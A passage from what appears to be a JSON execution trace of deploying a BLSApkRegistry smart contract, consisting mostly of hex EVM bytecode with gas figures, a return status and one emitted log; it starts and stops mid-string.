f88166000908152600460209081526040808320815160608101835267ffffffffffffffff198b16815280840196875280830185815282546001810184559286529390942093519301805495519251871690940291909516600160c01b026001600160e01b0319949094169190941c17919091179092161790555b5050600190920191506110da9050565b50505050565b6040805180820190915260008082526020820152611323611810565b835181526020808501519082015260408082018490526000908360608460076107d05a03fa9050808061135257fe5b50806113905760405162461bcd60e51b815260206004820152600d60248201526c1958cb5b5d5b0b59985a5b1959609a1b60448201526064016104a3565b505092915050565b60408051808201909152600080825260208201526113b461182e565b835181526020808501518183015283516040808401919091529084015160608301526000908360808460066107d05a03fa905080806113ef57fe5b50806113905760405162461bcd60e51b815260206004820152600d60248201526c1958cb5859190b59985a5b1959609a1b60448201526064016104a3565b61143561184c565b50604080516080810182527f198e9393920d483a7260bfb731fb5d25f1aa493335a9e71297e485b7aef312c28183019081527f1800deef121f1e76426a00665e5c4479674322d4f75edadd46debd5cd992f6ed6060830152815281518083019092527f275dc4a288d1afb3cbb1ac09187524c7db36395df7be3b99e673b13a075a65ec82527f1d9befcd05a5323e6da4d435f3b617cdb3af83285c2df711ef39c01571827f9d60208381019190915281019190915290565b60408051808201825285815260208082018590528251808401909352858352820183905260009161151c611871565b60005b60028110156116d7576000611535826006611e82565b905084826002811061154957611549611ce5565b6020020151518361155b836000611e99565b600c811061156b5761156b611ce5565b602002015284826002811061158257611582611ce5565b602002015160200151838260016115999190611e99565b600c81106115a9576115a9611ce5565b60200201528382600281106115c0576115c0611ce5565b60200201515151836115d3836002611e99565b600c81106115e3576115e3611ce5565b60200201528382600281106115fa576115fa611ce5565b6020020151516001602002015183611613836003611e99565b600c811061162357611623611ce5565b602002015283826002811061163a5761163a611ce5565b60200201516020015160006002811061165557611655611ce5565b602002015183611666836004611e99565b600c811061167657611676611ce5565b602002015283826002811061168d5761168d611ce5565b6020020151602001516001600281106116a8576116a8611ce5565b6020020151836116b9836005611e99565b600c81106116c9576116c9611ce5565b60200201525060010161151f565b506116e0611890565b60006020826101808560086107d05a03fa905080806116fb57fe5b50806117415760405162461bcd60e51b81526020600482015260156024820152741c185a5c9a5b99cb5bdc18dbd9194b59985a5b1959605a1b60448201526064016104a3565b5051151598975050505050505050565b6040805180820190915260008082526020820152815115801561177657506020820151155b15611794575050604080518082019091526000808252602082015290565b6040518060400160405280836000015181526020017f30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd4784602001516117d99190611d70565b611803907f30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd47611e58565b905292915050565b919050565b60405180606001604052806003906020820280368337509192915050565b60405180608001604052806004906020820280368337509192915050565b604051806040016040528061185f6118ae565b815260200161186c6118ae565b905290565b604051806101800160405280600c906020820280368337509192915050565b60405180602001604052806001906020820280368337509192915050565b60405180604001604052806002906020820280368337509192915050565b80356001600160a01b038116811461180b57600080fd5b6000602082840312156118f557600080fd5b6118fe826118cc565b9392505050565b803560ff8116811461180b57600080fd5b60006020828403121561192857600080fd5b6118fe82611905565b634e487b7160e01b600052604160045260246000fd5b6040805190810167ffffffffffffffff8111828210171561196a5761196a611931565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171561199957611999611931565b604052919050565b600080604083850312156119b457600080fd5b6119bd836118cc565b9150602083013567ffffffffffffffff8111156119d957600080fd5b8301601f810185136119ea57600080fd5b803567ffffffffffffffff811115611a0457611a04611931565b611a17601f8201601f1916602001611970565b818152866020838501011115611a2c57600080fd5b816020840160208301376000602083830101528093505050509250929050565b600060208284031215611a5e57600080fd5b5035919050565b8151815260208083015190820152604081016106ff565b60008060408385031215611a8f57600080fd5b611a9883611905565b946020939093013593505050565b600080600060608486031215611abb57600080fd5b611ac484611905565b9250602084013563ffffffff81168114611add57600080fd5b929592945050506040919091013590565b6000806000838503610160811215611b0557600080fd5b611b0e856118cc565b9350610100601f1982011215611b2357600080fd5b602085019250604061011f1982011215611b3c57600080fd5b50610120840190509250925092565b600080600060408486031215611b6057600080fd5b833567ffffffffffffffff811115611b7757600080fd5b8401601f81018613611b8857600080fd5b803567ffffffffffffffff811115611b9f57600080fd5b866020828401011115611bb157600080fd5b6020918201979096509401359392505050565b602080825282518282018190526000918401906040840190835b81811015611c0257835163ffffffff16835260209384019390920191600101611bde565b509095945050505050565b6020808252604e908201527f424c5341706b52656769737472792e6f6e6c795265676973747279436f6f726460408201527f696e61746f723a2063616c6c6572206973206e6f74207468652072656769737460608201526d393c9031b7b7b93234b730ba37b960911b608082015260a00190565b60018060a01b0384168152826020820152606060408201526000825180606084015260005b81811015611cc35760208186018101516080868401015201611ca6565b506000608082850101526080601f19601f830116840101915050949350505050565b634e487b7160e01b600052603260045260246000fd5b60006040828403128015611d0e57600080fd5b50611d17611947565b823581526020928301359281019290925250919050565b888152876020820152866040820152856060820152604085608083013760408460c0830137610100810192909252610120820152610140019695505050505050565b600082611d8d57634e487b7160e01b600052601260045260246000fd5b500690565b600082601f830112611da357600080fd5b611dab611947565b806040840185811115611dbd57600080fd5b845b81811015611c02578035845260209384019301611dbf565b60006080828403128015611dea57600080fd5b50611df3611947565b611dfd8484611d92565b8152611e0c8460408501611d92565b60208201529392505050565b823581526020808401359082015260c0810160408381840137604080840160808401379392505050565b634e487b7160e01b600052601160045260246000fd5b818103818111156106ff576106ff611e42565b600081611e7a57611e7a611e42565b506000190190565b80820281158282048414176106ff576106ff611e42565b808201808211156106ff576106ff611e4256fe424c5341706b52656769737472792e7265676973746572424c535075626c6963a2646970667358221220df4f56df4f9fb3b920f09e884a490e66eaaef074188ad7d538b50b8a6ed8be1464736f6c634300081c0033000000000000000000000000851356ae760d987e095750cceb3bc6014560891c","output":"0x608060405234801561001057600080fd5b50600436106101155760003560e01c80636d14a987116100a2578063bf79ce5811610071578063bf79ce58146103cc578063d5254a8c146103df578063de29fac0146103ff578063e8bb9ae61461041f578063f4e24fe51461044857600080fd5b80636d14a9871461030a5780637916cea6146103315780637ff81a8714610372578063a3db80e2146103a557600080fd5b80633fb27952116100e95780633fb27952146101df57806347b314e8146101f25780635f61a88414610233578063605747d51461028f57806368bccaac146102dd57600080fd5b8062a1f4cb1461011a57806313542a4e1461015b57806326d941f214610192578063377ed99d146101a7575b600080fd5b6101416101283660046118e3565b6003602052600090815260409020805460019091015482565b604080519283526020830191909152015b60405180910390f35b6101846101693660046118e3565b6001600160a01b031660009081526001602052604090205490565b604051908152602001610152565b6101a56101a0366004611916565b61045b565b005b6101ca6101b5366004611916565b60ff1660009081526004602052604090205490565b60405163ffffffff9091168152602001610152565b6101a56101ed3660046119a1565b6105b4565b61021b610200366004611a4c565b6000908152600260205260409020546001600160a01b031690565b6040516001600160a01b039091168152602001610152565b610282610241366004611916565b60408051808201909152600080825260208201525060ff16600090815260056020908152604091829020825180840190935280548352600101549082015290565b6040516101529190611a65565b6102a261029d366004611a7c565b610672565b60408051825167ffffffffffffffff1916815260208084015163ffffffff908116918301919091529282015190921690820152606001610152565b6102f06102eb366004611aa6565b610705565b60405167ffffffffffffffff199091168152602001610152565b61021b7f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c81565b61034461033f366004611a7c565b6108a0565b6040805167ffffffffffffffff19909416845263ffffffff9283166020850152911690820152606001610152565b6103856103803660046118e3565b6108eb565b604080518351815260209384015193810193909352820152606001610152565b6101416103b3366004611916565b6005602052600090815260409020805460019091015482565b6101846103da366004611aee565b6109b8565b6103f26103ed366004611b4b565b610e0b565b6040516101529190611bc4565b61018461040d3660046118e3565b60016020526000908152604090205481565b61021b61042d366004611a4c565b6002602052600090815260409020546001600160a01b031681565b6101a56104563660046119a1565b61101a565b336001600160a01b037f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c16146104ac5760405162461bcd60e51b81526004016104a390611c0d565b60405180910390fd5b60ff81166000908152600460205260409020541561052b5760405162461bcd60e51b815260206004820152603660248201527f424c5341706b52656769737472792e696e697469616c697a6551756f72756d3a6044820152752071756f72756d20616c72656164792065786973747360501b60648201526084016104a3565b60ff166000908152600460209081526040808320815160608101835284815263ffffffff4381168286019081528285018781528454600181018655948852959096209151919092018054955194518316600160e01b026001600160e01b0395909316600160c01b026001600160e01b03199096169190931c179390931791909116919091179055565b336001600160a01b037f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c16146105fc5760405162461bcd60e51b81526004016104a390611c0d565b6000610607836108eb565b50905061061482826110c3565b7f73a2b7fb844724b971802ae9b15db094d4b7192df9d7350e14eb466b9b22eb4e83610655856001600160a01b031660009081526001602052604090205490565b8460405161066593929190611c81565b60405180910390a1505050565b604080516060810182526000808252602080830182905282840182905260ff8616825260049052919091208054839081106106af576106af611ce5565b600091825260209182902060408051606081018252919092015467ffffffffffffffff1981841b16825263ffffffff600160c01b8204811694830194909452600160e01b90049092169082015290505b92915050565b60ff8316600090815260046020526040812080548291908490811061072c5761072c611ce5565b600091825260209182902060408051606081018252919092015467ffffffffffffffff1981841b16825263ffffffff600160c01b82048116948301859052600160e01b9091048116928201929092529250851610156107f35760405162461bcd60e51b815260206004820152603e60248201527f424c5341706b52656769737472792e5f76616c696461746541706b486173684160448201527f74426c6f636b4e756d6265723a20696e64657820746f6f20726563656e74000060648201526084016104a3565b604081015163ffffffff1615806108195750806040015163ffffffff168463ffffffff16105b6108975760405162461bcd60e51b815260206004820152604360248201527f424c5341706b52656769737472792e5f76616c696461746541706b486173684160448201527f74426c6f636b4e756d6265723a206e6f74206c61746573742061706b2075706460648201526261746560e81b608482015260a4016104a3565b51949350505050565b600460205281600052604060002081815481106108bc57600080fd5b600091825260209091200154604081901b925063ffffffff600160c01b820481169250600160e01b9091041683565b60408051808201909152600080825260208201526001600160a01b0382166000818152600360209081526040808320815180830183528154815260019182015481850152948452909152812054909190806109ae5760405162461bcd60e51b815260206004820152603e60248201527f424c5341706b52656769737472792e676574526567697374657265645075626b60448201527f65793a206f70657261746f72206973206e6f742072656769737465726564000060648201526084016104a3565b9094909350915050565b6000336001600160a01b037f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c1614610a025760405162461bcd60e51b81526004016104a390611c0d565b6000610a30610a1936869003860160408701611cfb565b805160009081526020918201519091526040902090565b90507fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb58103610ab7576040805162461bcd60e51b8152602060048201526024810191909152600080516020611ead83398151915260448201527f4b65793a2063616e6e6f74207265676973746572207a65726f207075626b657960648201526084016104a3565b6001600160a01b03851660009081526001602052604090205415610b415760405162461bcd60e51b81526020600482015260476024820152600080516020611ead83398151915260448201527f4b65793a206f70657261746f7220616c72656164792072656769737465726564606482015266207075626b657960c81b608482015260a4016104a3565b6000818152600260205260409020546001600160a01b031615610bc55760405162461bcd60e51b81526020600482015260426024820152600080516020611ead83398151915260448201527f4b65793a207075626c6963206b657920616c7265616479207265676973746572606482015261195960f21b608482015260a4016104a3565b604080516000917f30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f000000191610c1e918835916020808b0135928b01359160608c01359160808d019160c08e01918d35918e8201359101611d2e565b6040516020818303038152906040528051906020012060001c610c419190611d70565b9050610cdb610c7a610c6583610c5f368a90038a0160408b01611cfb565b90611307565b610c7436899003890189611cfb565b90611398565b610c8261142d565b610cc4610cb585610c5f604080518082018252600080825260209182015281518083019092526001825260029082015290565b610c74368a90038a018a611cfb565b610cd6368a90038a0160808b01611dd7565b6114ed565b610d765760405162461bcd60e51b815260206004820152606c6024820152600080516020611ead83398151915260448201527f4b65793a2065697468657220746865204731207369676e61747572652069732060648201527f77726f6e672c206f7220473120616e642047322070726976617465206b65792060848201526b0c8de40dcdee840dac2e8c6d60a31b60a482015260c4016104a3565b6001600160a01b03861660008181526003602090815260408083208982018035825560608b013560019283015590835281842087905586845260029092529182902080546001600160a01b0319168417905590517fe3fb6613af2e8930cf85d47fcf6db10192224a64c6cbe8023e0eee1ba382804191610dfa9160808a0190611e18565b60405180910390a250949350505050565b606060008367ffffffffffffffff811115610e2857610e28611931565b604051908082528060200260200182016040528015610e51578160200160208202803683370190505b50905060005b84811015611011576000868683818110610e7357610e73611ce5565b919091013560f81c6000818152600460205260409020549092509050801580610ed6575060ff821660009081526004602052604081208054909190610eba57610eba611ce5565b600091825260209091200154600160c01b900463ffffffff1686105b15610f635760405162461bcd60e51b815260206004820152605160248201527f424c5341706b52656769737472792e67657441706b496e64696365734174426c60448201527f6f636b4e756d6265723a20626c6f636b4e756d626572206973206265666f7265606482015270207468652066697273742075706461746560781b608482015260a4016104a3565b805b80156110065760ff831660009081526004602052604090208790610f8a600184611e58565b81548110610f9a57610f9a611ce5565b600091825260209091200154600160c01b900463ffffffff1611610ff457610fc3600182611e58565b858581518110610fd557610fd5611ce5565b602002602001019063ffffffff16908163ffffffff1681525050611006565b80610ffe81611e6b565b915050610f65565b505050600101610e57565b50949350505050565b336001600160a01b037f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c16146110625760405162461bcd60e51b81526004016104a390611c0d565b600061106d836108eb565b5090506110828261107d83611751565b6110c3565b7ff843ecd53a563675e62107be1494fdde4a3d49aeedaf8d88c616d85346e3500e83610655856001600160a01b031660009081526001602052604090205490565b604080518082019091526000808252602082015260005b83518110156113015760008482815181106110f7576110f7611ce5565b0160209081015160f81c600081815260049092526040822054909250908190036111895760405162461bcd60e51b815260206004820152603d60248201527f424c5341706b52656769737472792e5f70726f6365737351756f72756d41706b60448201527f5570646174653a2071756f72756d20646f6573206e6f7420657869737400000060648201526084016104a3565b60ff821660009081526005602090815260409182902082518084019093528054835260010154908201526111bd9086611398565b60ff831660008181526005602090815260408083208551808255868401805160019384015590855251835281842094845260049092528220939750919290916112069085611e58565b8154811061121657611216611ce5565b6000918252602090912001805490915063ffffffff438116600160c01b90920416036112555780546001600160c01b031916604083901c1781556112f1565b805463ffffffff438116600160e01b8181026001600160e01b0394851617855560ff88166000908152600460209081526040808320815160608101835267ffffffffffffffff198b16815280840196875280830185815282546001810184559286529390942093519301805495519251871690940291909516600160c01b026001600160e01b0319949094169190941c17919091179092161790555b5050600190920191506110da9050565b50505050565b6040805180820190915260008082526020820152611323611810565b835181526020808501519082015260408082018490526000908360608460076107d05a03fa9050808061135257fe5b50806113905760405162461bcd60e51b815260206004820152600d60248201526c1958cb5b5d5b0b59985a5b1959609a1b60448201526064016104a3565b505092915050565b60408051808201909152600080825260208201526113b461182e565b835181526020808501518183015283516040808401919091529084015160608301526000908360808460066107d05a03fa905080806113ef57fe5b50806113905760405162461bcd60e51b815260206004820152600d60248201526c1958cb5859190b59985a5b1959609a1b60448201526064016104a3565b61143561184c565b50604080516080810182527f198e9393920d483a7260bfb731fb5d25f1aa493335a9e71297e485b7aef312c28183019081527f1800deef121f1e76426a00665e5c4479674322d4f75edadd46debd5cd992f6ed6060830152815281518083019092527f275dc4a288d1afb3cbb1ac09187524c7db36395df7be3b99e673b13a075a65ec82527f1d9befcd05a5323e6da4d435f3b617cdb3af83285c2df711ef39c01571827f9d60208381019190915281019190915290565b60408051808201825285815260208082018590528251808401909352858352820183905260009161151c611871565b60005b60028110156116d7576000611535826006611e82565b905084826002811061154957611549611ce5565b6020020151518361155b836000611e99565b600c811061156b5761156b611ce5565b602002015284826002811061158257611582611ce5565b602002015160200151838260016115999190611e99565b600c81106115a9576115a9611ce5565b60200201528382600281106115c0576115c0611ce5565b60200201515151836115d3836002611e99565b600c81106115e3576115e3611ce5565b60200201528382600281106115fa576115fa611ce5565b6020020151516001602002015183611613836003611e99565b600c811061162357611623611ce5565b602002015283826002811061163a5761163a611ce5565b60200201516020015160006002811061165557611655611ce5565b602002015183611666836004611e99565b600c811061167657611676611ce5565b602002015283826002811061168d5761168d611ce5565b6020020151602001516001600281106116a8576116a8611ce5565b6020020151836116b9836005611e99565b600c81106116c9576116c9611ce5565b60200201525060010161151f565b506116e0611890565b60006020826101808560086107d05a03fa905080806116fb57fe5b50806117415760405162461bcd60e51b81526020600482015260156024820152741c185a5c9a5b99cb5bdc18dbd9194b59985a5b1959605a1b60448201526064016104a3565b5051151598975050505050505050565b6040805180820190915260008082526020820152815115801561177657506020820151155b15611794575050604080518082019091526000808252602082015290565b6040518060400160405280836000015181526020017f30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd4784602001516117d99190611d70565b611803907f30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd47611e58565b905292915050565b919050565b60405180606001604052806003906020820280368337509192915050565b60405180608001604052806004906020820280368337509192915050565b604051806040016040528061185f6118ae565b815260200161186c6118ae565b905290565b604051806101800160405280600c906020820280368337509192915050565b60405180602001604052806001906020820280368337509192915050565b60405180604001604052806002906020820280368337509192915050565b80356001600160a01b038116811461180b57600080fd5b6000602082840312156118f557600080fd5b6118fe826118cc565b9392505050565b803560ff8116811461180b57600080fd5b60006020828403121561192857600080fd5b6118fe82611905565b634e487b7160e01b600052604160045260246000fd5b6040805190810167ffffffffffffffff8111828210171561196a5761196a611931565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171561199957611999611931565b604052919050565b600080604083850312156119b457600080fd5b6119bd836118cc565b9150602083013567ffffffffffffffff8111156119d957600080fd5b8301601f810185136119ea57600080fd5b803567ffffffffffffffff811115611a0457611a04611931565b611a17601f8201601f1916602001611970565b818152866020838501011115611a2c57600080fd5b816020840160208301376000602083830101528093505050509250929050565b600060208284031215611a5e57600080fd5b5035919050565b8151815260208083015190820152604081016106ff565b60008060408385031215611a8f57600080fd5b611a9883611905565b946020939093013593505050565b600080600060608486031215611abb57600080fd5b611ac484611905565b9250602084013563ffffffff81168114611add57600080fd5b929592945050506040919091013590565b6000806000838503610160811215611b0557600080fd5b611b0e856118cc565b9350610100601f1982011215611b2357600080fd5b602085019250604061011f1982011215611b3c57600080fd5b50610120840190509250925092565b600080600060408486031215611b6057600080fd5b833567ffffffffffffffff811115611b7757600080fd5b8401601f81018613611b8857600080fd5b803567ffffffffffffffff811115611b9f57600080fd5b866020828401011115611bb157600080fd5b6020918201979096509401359392505050565b602080825282518282018190526000918401906040840190835b81811015611c0257835163ffffffff16835260209384019390920191600101611bde565b509095945050505050565b6020808252604e908201527f424c5341706b52656769737472792e6f6e6c795265676973747279436f6f726460408201527f696e61746f723a2063616c6c6572206973206e6f74207468652072656769737460608201526d393c9031b7b7b93234b730ba37b960911b608082015260a00190565b60018060a01b0384168152826020820152606060408201526000825180606084015260005b81811015611cc35760208186018101516080868401015201611ca6565b506000608082850101526080601f19601f830116840101915050949350505050565b634e487b7160e01b600052603260045260246000fd5b60006040828403128015611d0e57600080fd5b50611d17611947565b823581526020928301359281019290925250919050565b888152876020820152866040820152856060820152604085608083013760408460c0830137610100810192909252610120820152610140019695505050505050565b600082611d8d57634e487b7160e01b600052601260045260246000fd5b500690565b600082601f830112611da357600080fd5b611dab611947565b806040840185811115611dbd57600080fd5b845b81811015611c02578035845260209384019301611dbf565b60006080828403128015611dea57600080fd5b50611df3611947565b611dfd8484611d92565b8152611e0c8460408501611d92565b60208201529392505050565b823581526020808401359082015260c0810160408381840137604080840160808401379392505050565b634e487b7160e01b600052601160045260246000fd5b818103818111156106ff576106ff611e42565b600081611e7a57611e7a611e42565b506000190190565b80820281158282048414176106ff576106ff611e42565b808201808211156106ff576106ff611e4256fe424c5341706b52656769737472792e7265676973746572424c535075626c6963a2646970667358221220df4f56df4f9fb3b920f09e884a490e66eaaef074188ad7d538b50b8a6ed8be1464736f6c634300081c0033","gas_used":1613038,"gas_limit":2151154,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x00000000000000000000000000000000000000000000000000000000000000ff"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0}]}],"exit":"Return","out":"0x608060405234801561001057600080fd5b50600436106101155760003560e01c80636d14a987116100a2578063bf79ce5811610071578063bf79ce58146103cc578063d5254a8c146103df578063de29fac0146103ff578063e8bb9ae61461041f578063f4e24fe51461044857600080fd5b80636d14a9871461030a5780637916cea6146103315780637ff81a8714610372578063a3db80e2146103a557600080fd5b80633fb27952116100e95780633fb27952146101df57806347b314e8146101f25780635f61a88414610233578063605747d51461028f57806368bccaac146102dd57600080fd5b8062a1f4cb1461011a57806313542a4e1461015b57806326d941f214610192578063377ed99d146101a7575b600080fd5b6101416101283660046118e3565b6003602052600090815260409020805460019091015482565b604080519283526020830191909152015b60405180910390f35b6101846101693660046118e3565b6001600160a01b031660009081526001602052604090205490565b604051908152602001610152565b6101a56101a0366004611916565b61045b565b005b6101ca6101b5366004611916565b60ff1660009081526004602052604090205490565b60405163ffffffff9091168152602001610152565b6101a56101ed3660046119a1565b6105b4565b61021b610200366004611a4c565b6000908152600260205260409020546001600160a01b031690565b6040516001600160a01b039091168152602001610152565b610282610241366004611916565b60408051808201909152600080825260208201525060ff16600090815260056020908152604091829020825180840190935280548352600101549082015290565b6040516101529190611a65565b6102a261029d366004611a7c565b610672565b60408051825167ffffffffffffffff1916815260208084015163ffffffff908116918301919091529282015190921690820152606001610152565b6102f06102eb366004611aa6565b610705565b60405167ffffffffffffffff199091168152602001610152565b61021b7f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c81565b61034461033f366004611a7c565b6108a0565b6040805167ffffffffffffffff19909416845263ffffffff9283166020850152911690820152606001610152565b6103856103803660046118e3565b6108eb565b604080518351815260209384015193810193909352820152606001610152565b6101416103b3366004611916565b6005602052600090815260409020805460019091015482565b6101846103da366004611aee565b6109b8565b6103f26103ed366004611b4b565b610e0b565b6040516101529190611bc4565b61018461040d3660046118e3565b60016020526000908152604090205481565b61021b61042d366004611a4c565b6002602052600090815260409020546001600160a01b031681565b6101a56104563660046119a1565b61101a565b336001600160a01b037f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c16146104ac5760405162461bcd60e51b81526004016104a390611c0d565b60405180910390fd5b60ff81166000908152600460205260409020541561052b5760405162461bcd60e51b815260206004820152603660248201527f424c5341706b52656769737472792e696e697469616c697a6551756f72756d3a6044820152752071756f72756d20616c72656164792065786973747360501b60648201526084016104a3565b60ff166000908152600460209081526040808320815160608101835284815263ffffffff4381168286019081528285018781528454600181018655948852959096209151919092018054955194518316600160e01b026001600160e01b0395909316600160c01b026001600160e01b03199096169190931c179390931791909116919091179055565b336001600160a01b037f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c16146105fc5760405162461bcd60e51b81526004016104a390611c0d565b6000610607836108eb565b50905061061482826110c3565b7f73a2b7fb844724b971802ae9b15db094d4b7192df9d7350e14eb466b9b22eb4e83610655856001600160a01b031660009081526001602052604090205490565b8460405161066593929190611c81565b60405180910390a1505050565b604080516060810182526000808252602080830182905282840182905260ff8616825260049052919091208054839081106106af576106af611ce5565b600091825260209182902060408051606081018252919092015467ffffffffffffffff1981841b16825263ffffffff600160c01b8204811694830194909452600160e01b90049092169082015290505b92915050565b60ff8316600090815260046020526040812080548291908490811061072c5761072c611ce5565b600091825260209182902060408051606081018252919092015467ffffffffffffffff1981841b16825263ffffffff600160c01b82048116948301859052600160e01b9091048116928201929092529250851610156107f35760405162461bcd60e51b815260206004820152603e60248201527f424c5341706b52656769737472792e5f76616c696461746541706b486173684160448201527f74426c6f636b4e756d6265723a20696e64657820746f6f20726563656e74000060648201526084016104a3565b604081015163ffffffff1615806108195750806040015163ffffffff168463ffffffff16105b6108975760405162461bcd60e51b815260206004820152604360248201527f424c5341706b52656769737472792e5f76616c696461746541706b486173684160448201527f74426c6f636b4e756d6265723a206e6f74206c61746573742061706b2075706460648201526261746560e81b608482015260a4016104a3565b51949350505050565b600460205281600052604060002081815481106108bc57600080fd5b600091825260209091200154604081901b925063ffffffff600160c01b820481169250600160e01b9091041683565b60408051808201909152600080825260208201526001600160a01b0382166000818152600360209081526040808320815180830183528154815260019182015481850152948452909152812054909190806109ae5760405162461bcd60e51b815260206004820152603e60248201527f424c5341706b52656769737472792e676574526567697374657265645075626b60448201527f65793a206f70657261746f72206973206e6f742072656769737465726564000060648201526084016104a3565b9094909350915050565b6000336001600160a01b037f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c1614610a025760405162461bcd60e51b81526004016104a390611c0d565b6000610a30610a1936869003860160408701611cfb565b805160009081526020918201519091526040902090565b90507fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb58103610ab7576040805162461bcd60e51b8152602060048201526024810191909152600080516020611ead83398151915260448201527f4b65793a2063616e6e6f74207265676973746572207a65726f207075626b657960648201526084016104a3565b6001600160a01b03851660009081526001602052604090205415610b415760405162461bcd60e51b81526020600482015260476024820152600080516020611ead83398151915260448201527f4b65793a206f70657261746f7220616c72656164792072656769737465726564606482015266207075626b657960c81b608482015260a4016104a3565b6000818152600260205260409020546001600160a01b031615610bc55760405162461bcd60e51b81526020600482015260426024820152600080516020611ead83398151915260448201527f4b65793a207075626c6963206b657920616c7265616479207265676973746572606482015261195960f21b608482015260a4016104a3565b604080516000917f30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f000000191610c1e918835916020808b0135928b01359160608c01359160808d019160c08e01918d35918e8201359101611d2e565b6040516020818303038152906040528051906020012060001c610c419190611d70565b9050610cdb610c7a610c6583610c5f368a90038a0160408b01611cfb565b90611307565b610c7436899003890189611cfb565b90611398565b610c8261142d565b610cc4610cb585610c5f604080518082018252600080825260209182015281518083019092526001825260029082015290565b610c74368a90038a018a611cfb565b610cd6368a90038a0160808b01611dd7565b6114ed565b610d765760405162461bcd60e51b815260206004820152606c6024820152600080516020611ead83398151915260448201527f4b65793a2065697468657220746865204731207369676e61747572652069732060648201527f77726f6e672c206f7220473120616e642047322070726976617465206b65792060848201526b0c8de40dcdee840dac2e8c6d60a31b60a482015260c4016104a3565b6001600160a01b03861660008181526003602090815260408083208982018035825560608b013560019283015590835281842087905586845260029092529182902080546001600160a01b0319168417905590517fe3fb6613af2e8930cf85d47fcf6db10192224a64c6cbe8023e0eee1ba382804191610dfa9160808a0190611e18565b60405180910390a250949350505050565b606060008367ffffffffffffffff811115610e2857610e28611931565b604051908082528060200260200182016040528015610e51578160200160208202803683370190505b50905060005b84811015611011576000868683818110610e7357610e73611ce5565b919091013560f81c6000818152600460205260409020549092509050801580610ed6575060ff821660009081526004602052604081208054909190610eba57610eba611ce5565b600091825260209091200154600160c01b900463ffffffff1686105b15610f635760405162461bcd60e51b815260206004820152605160248201527f424c5341706b52656769737472792e67657441706b496e64696365734174426c60448201527f6f636b4e756d6265723a20626c6f636b4e756d626572206973206265666f7265606482015270207468652066697273742075706461746560781b608482015260a4016104a3565b805b80156110065760ff831660009081526004602052604090208790610f8a600184611e58565b81548110610f9a57610f9a611ce5565b600091825260209091200154600160c01b900463ffffffff1611610ff457610fc3600182611e58565b858581518110610fd557610fd5611ce5565b602002602001019063ffffffff16908163ffffffff1681525050611006565b80610ffe81611e6b565b915050610f65565b505050600101610e57565b50949350505050565b336001600160a01b037f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c16146110625760405162461bcd60e51b81526004016104a390611c0d565b600061106d836108eb565b5090506110828261107d83611751565b6110c3565b7ff843ecd53a563675e62107be1494fdde4a3d49aeedaf8d88c616d85346e3500e83610655856001600160a01b031660009081526001602052604090205490565b604080518082019091526000808252602082015260005b83518110156113015760008482815181106110f7576110f7611ce5565b0160209081015160f81c600081815260049092526040822054909250908190036111895760405162461bcd60e51b815260206004820152603d60248201527f424c5341706b52656769737472792e5f70726f6365737351756f72756d41706b60448201527f5570646174653a2071756f72756d20646f6573206e6f7420657869737400000060648201526084016104a3565b60ff821660009081526005602090815260409182902082518084019093528054835260010154908201526111bd9086611398565b60ff831660008181526005602090815260408083208551808255868401805160019384015590855251835281842094845260049092528220939750919290916112069085611e58565b8154811061121657611216611ce5565b6000918252602090912001805490915063ffffffff438116600160c01b90920416036112555780546001600160c01b031916604083901c1781556112f1565b805463ffffffff438116600160e01b8181026001600160e01b0394851617855560ff88166000908152600460209081526040808320815160608101835267ffffffffffffffff198b16815280840196875280830185815282546001810184559286529390942093519301805495519251871690940291909516600160c01b026001600160e01b0319949094169190941c17919091179092161790555b5050600190920191506110da9050565b50505050565b6040805180820190915260008082526020820152611323611810565b835181526020808501519082015260408082018490526000908360608460076107d05a03fa9050808061135257fe5b50806113905760405162461bcd60e51b815260206004820152600d60248201526c1958cb5b5d5b0b59985a5b1959609a1b60448201526064016104a3565b505092915050565b60408051808201909152600080825260208201526113b461182e565b835181526020808501518183015283516040808401919091529084015160608301526000908360808460066107d05a03fa905080806113ef57fe5b50806113905760405162461bcd60e51b815260206004820152600d60248201526c1958cb5859190b59985a5b1959609a1b60448201526064016104a3565b61143561184c565b50604080516080810182527f198e9393920d483a7260bfb731fb5d25f1aa493335a9e71297e485b7aef312c28183019081527f1800deef121f1e76426a00665e5c4479674322d4f75edadd46debd5cd992f6ed6060830152815281518083019092527f275dc4a288d1afb3cbb1ac09187524c7db36395df7be3b99e673b13a075a65ec82527f1d9befcd05a5323e6da4d435f3b617cdb3af83285c2df711ef39c01571827f9d60208381019190915281019190915290565b60408051808201825285815260208082018590528251808401909352858352820183905260009161151c611871565b60005b60028110156116d7576000611535826006611e82565b905084826002811061154957611549611ce5565b6020020151518361155b836000611e99565b600c811061156b5761156b611ce5565b602002015284826002811061158257611582611ce5565b602002015160200151838260016115999190611e99565b600c81106115a9576115a9611ce5565b60200201528382600281106115c0576115c0611ce5565b60200201515151836115d3836002611e99565b600c81106115e3576115e3611ce5565b60200201528382600281106115fa576115fa611ce5565b6020020151516001602002015183611613836003611e99565b600c811061162357611623611ce5565b602002015283826002811061163a5761163a611ce5565b60200201516020015160006002811061165557611655611ce5565b602002015183611666836004611e99565b600c811061167657611676611ce5565b602002015283826002811061168d5761168d611ce5565b6020020151602001516001600281106116a857611